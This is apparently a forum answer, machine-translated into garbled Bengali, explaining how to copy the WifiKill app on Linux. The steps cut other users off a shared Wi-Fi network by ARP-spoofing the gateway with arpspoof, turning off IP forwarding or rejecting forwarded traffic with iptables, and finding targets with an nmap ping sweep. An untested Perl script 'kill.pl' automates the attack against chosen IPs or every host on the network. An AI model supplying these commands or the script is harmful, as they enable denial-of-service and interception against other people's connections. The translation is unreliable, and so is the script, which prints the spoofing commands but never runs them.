ওয়াইফিকিল অ্যান্ড্রয়েড অ্যাপের মতো কোনও (বিশেষত লিনাক্স) প্রোগ্রাম আছে?
ওয়াইফিকিল অ্যান্ড্রয়েড অ্যাপের মতো কোনও (বিশেষত লিনাক্স) প্রোগ্রাম আছে?
উত্তর:
আচ্ছা, অ্যানড্রইড লিনাক্স তাই আপনি Ponury এর কর্ম প্রতিলিপি করতে পারেন WifiKill
আপনার লিনাক্স কম্পিউটারে
WifiKill
দুটি জিনিস আছে:
Masquerading জন্য আপনি এআরপি spoofing প্রয়োজন। আপনি ব্যবহার করতে পারেন arpspoof
থেকে কমান্ড dsniff :
route -n
একটি টার্মিনাল এবং সেখানে থেকে গেটওয়ে আইপি পেতে। সবচেয়ে সাধারণ ক্ষেত্রে (আপনি কেবল বেতার নেটওয়ার্কের সাথে সংযুক্ত), গেটওয়েটি গন্তব্যস্থলের প্রবেশদ্বার হবে 0.0.0.0
। তুমি ব্যবহার করতে পার route -n|grep ^0.0.0.0|cut -d' ' -f 10
ডিফল্ট গেটওয়ে আইপি পেতে arpspoof
গেটওয়ে হিসাবে masquerade। চালান arpspoof $IP
রুট হিসাবে আপনি যদি আপনার নেটওয়ার্ক ছাড়া অন্য নেটওয়ার্কটি মারতে চান, বা চালান arpspoof -t $VICTIM_IP $IP
প্রতিটি শিকারের জন্য যদি আপনি শুধুমাত্র নির্দিষ্ট হোস্ট হত্যা করতে চান এখন আপনি নেটওয়ার্কের গেটওয়ে হিসাবে masquerading হয়। শিকার দ্বারা পাঠানো সমস্ত প্যাকেট আপনার কম্পিউটারে পাঠানো হয়। আপনি এখন প্যাকেট ফরওয়ার্ডিং বন্ধ করতে হবে। এই রান করতে echo -n 0 > /proc/sys/net/ipv?/ip_forward
রুট হিসাবে। এই শিকার দ্বারা পাঠানো সব প্যাকেট ড্রপ হবে
আমি শেষ অবধি এটি একটি দীর্ঘ সময় হয়েছে WifiKill
, কিন্তু মনে রাখবেন তাদের ড্রপ করার পরিবর্তে প্যাকেটগুলি প্রত্যাখ্যান করার বিকল্প ছিল [প্রত্যাখ্যান করে লোকেদের একটি তাত্ক্ষণিক সংযোগ ত্রুটি দেয়, ড্রপ করা তাদের সমস্ত সংযোগের সময় শেষ করে দেয়]। এটি করার জন্য আপনাকে করতে হবে:
echo -n 1 > /proc/sys/net/ipv?/ip_forward
রুট হিসাবে netfilter
ডিফল্ট ফরওয়ার্ড নীতি বাতিল করতে হবে। চালান iptables -P FORWARD REJECT
। অবশ্যই, আপনি ব্যবহার করতে পারেন iptables
ইচ্ছাকৃতভাবে জটিল ফায়ারওয়ালিং নিয়ম জন্য WifiKill
এছাড়াও অনলাইন হোস্ট তালিকা। লিনাক্সে এটি করার জন্য, আপনি ব্যবহার করতে পারেন nmap
একটি প্রদত্ত পরিসীমা হোস্ট পং। উদাহরণস্বরূপ, যদি আপনি পরিসংখ্যানে কোন হোস্টগুলি অনলাইনে থাকেন তা জানতে চান 192.168.1.1
থেকে 192.168.1.254
আপনি চালাতে পারেন nmap -sP 192.168.1.1-254
। যদিও এটি 'স্টিথল' ফায়ারওয়ালগুলির সাথে কম্পিউটারগুলিকে তালিকাভুক্ত করবে না, তবে আপনি যদি নেটওয়ার্কগুলিতে সকলেই মারা যান বা আপনি তাদের সঠিক আইপিটি জানেন তবে আপনি এখনও এই কম্পিউটারগুলি মারতে পারেন
আমি উপরে তালিকাবদ্ধ কি করছেন সেখানে একটি প্রোগ্রাম হতে পারে, কিন্তু সাধারণ ক্ষেত্রে আপনি একটি স্ক্রিপ্ট লিখতে পারেন:
#!/usr/bin/perl -w
#This is untested code. Compiling works, but I haven't tested anything more
my $gw=`route -n|grep ^0.0.0.0|cut -d' ' -f 10`;
if (@ARGV) {
print "arpspoof -t $_ $gw &" for (@ARGV);
} else {
print "arpspoof $gw &";
}
system "echo 0 > $_" for(</proc/sys/net/ipv?/ip_forward>);
এই হিসাবে সংরক্ষণ করুন kill.pl
তারপর হিসাবে এটি কল ./kill.pl $IP1 $IP2 ... $IPn
হত্যা করা $IP1
, $IP2
, ..., $IPn
অথবা হিসাবে ./kill.pl
সব হোস্ট হত্যা